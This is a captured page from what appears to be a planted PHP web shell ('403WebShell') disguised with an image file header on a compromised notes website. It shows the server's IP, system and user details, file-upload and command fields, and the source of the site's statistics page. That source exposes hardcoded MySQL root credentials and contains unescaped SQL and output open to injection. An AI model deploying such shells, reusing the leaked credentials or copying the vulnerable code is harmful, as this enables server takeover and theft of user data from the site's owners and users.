????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.147.44.46
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.notes-online.se/stat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.notes-online.se/stat/index.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Notes STAT</title>
<script src="sorttable.js"></script>
</head>

<body style="font-family:Arial, Helvetica, sans-serif;font-size:12px;">


<table width="100%" border="0" cellspacing="0" cellpadding="0" class="sortable">
  <tr>
    <td width="18%">Username</td>
    <td width="12%">Name</td>
    <td width="16%">Registration Date</td>
    <td width="15%">Last Login</td>
    <td width="6%">Active</td>
    <td width="19%">Application</td>
    <td width="14%">Action Log</td>

  </tr>

<?php 

$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("notes");

$sql = "SELECT * FROM tblAccounts, tblUsers WHERE tblAccounts.userId = tblUsers.userId order by registrationDate desc";

$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){ 


$sql = "SELECT count(*) as nbr, id FROM tblActionLog WHERE userid = ".$row['userId'];
$nbr = 0;
$result2 = mysql_query($sql);
while ($row2 = mysql_fetch_assoc($result2)){ 
	$nbr = $row2['nbr'];
	$id = $row2['id'];
}

if($nbr < 10){
	$nbr = "000".$nbr;
}else if($nbr > 10){
	$nbr = "00".$nbr;
}else if($nbr > 99){
	$nbr = "0".$nbr;
}
?>

  <tr>
    <td width="18%"><?php echo($row['username']);?></td>
    <td width="12%"><?php echo($row['name']);?></td>
    <td width="16%"><?php echo($row['registrationDate']);?></td>
    <td width="15%"><?php echo($row['lastLogin']);?></td>
    <td width="6%"><?php echo($row['active']);?></td>
    <td width="19%"><?php echo($row['application']);?></td>
    <td width="14%">
    
    <?php if($id != ""){?>
    <a href="log.php?userId=<?php echo($row['userId']);?>">See log (<?php echo($nbr);?>)</a>
    <?php
}

?>
    </td>

  </tr>

<?php
}

?>
</table>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit